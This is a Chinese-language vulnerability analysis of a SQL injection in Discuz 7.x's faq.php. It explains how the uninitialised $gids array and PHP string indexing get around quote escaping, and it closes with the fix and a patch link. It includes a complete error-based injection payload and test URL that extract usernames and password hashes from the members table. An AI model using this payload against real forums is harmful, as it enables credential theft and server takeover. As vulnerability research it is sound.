Discuz7 faq.php Sqli 漏漏洞分析

0x00 漏洞概述

Discuz7 SQL注射的漏洞利用PHP一个特性绕过gpc防护,可直接将SQL注入到原有查询中。

0x01 漏洞根源

问题出现在/faq.php文件里,部分代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
elseif($action == 'grouppermission') {
/*省略部分代码*/
if($cgdata[0] == 'member') {
$nextgid = $groups[$cgdata[0]][$cgdata[1] + 1][0];
if($cgdata[1] > 0) {
$gids[1] = $groups[$cgdata[0]][$cgdata[1] - 1];
}
$gids[2] = $groups[$cgdata[0]][$cgdata[1]];
if($cgdata[1] < count($groups[$cgdata[0]]) - 1) {
$gids[3] = $groups[$cgdata[0]][$cgdata[1] + 1];
if(count($gids) == 2) {
$gids[4] = $groups[$cgdata[0]][$cgdata[1] + 2];
}
} elseif(count($gids) == 2) {
$gids[0] = $groups[$cgdata[0]][$cgdata[1] - 2];
}
} else {
$gids[1] = $groups[$cgdata[0]][$cgdata[1]];
}
ksort($gids);
$groupids = array();
foreach($gids as $row) {
$groupids[] = $row[0];
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
$groups = array();

可以看出在$cgdata[0]不为“member”时gids是没有经过初始化的,而且gids变量用户可以通过GET或者POST的方法来进行创建赋值。

虽然在discuz在前面处理提交的时候,对单引号内容进行了转义,但是利用PHP字符串特性,可以达到绕过转义的效果。

0x02 漏洞利用

PHP对于字符串,也会将它作为数组来处理。例如:

1
2
$s = '1234567890';
print $s[0];

上面这段代码则会输出字符1。正是这个特性,导致这个问题的可利用。通过代码,我们可以看出$gids会被当做数组来处理,并且每个数组中的内容只读取第一个元素的内容。然后在后面的SQL语句中,通过“’,’”来分隔每个数组中的内容。例如,我$gids中赋予的内容是$gids[0]=’wsyo’,$gids[1]=’3’,那么最终SQL的拼接结果是:

1
SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('t','3')

那么如果$gids[0]=’\’’这样一个转以后的单引号来代替刚才的’wsyo’会发生什么?

1
SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('\','3')

原有的单引号被破坏掉了,我们只需要$gids[1][0]来添加要注入的SQL语句就可以实现SQL注入攻击了。

0x03 漏洞重现

向/faq.php?faq.php?action=grouppermission发送请求,使用GET或POST提交参数

1
gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

我的测试提交如下:

1
192.168.188.143/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

效果如下图所示:

0x04 漏洞总结

####漏洞小结

  1. 影响范围个人评价为“高”,Discuz 7.x系列虽然是discuz的老版本了,但是在国内使用的网站人有很多,所以影响范围还是很广的。

  2. 危害性个人评价为“极高”,此漏洞几乎不需要任何附加条件,只需服务端可被访问便可被利用,攻击者可以利用这个漏洞getshell。

####防护方案

初始化gids变量。

官方已经发布修复补丁和修复方案,相关链接为:
http://www.discuz.net/thread-3579915-1-1.html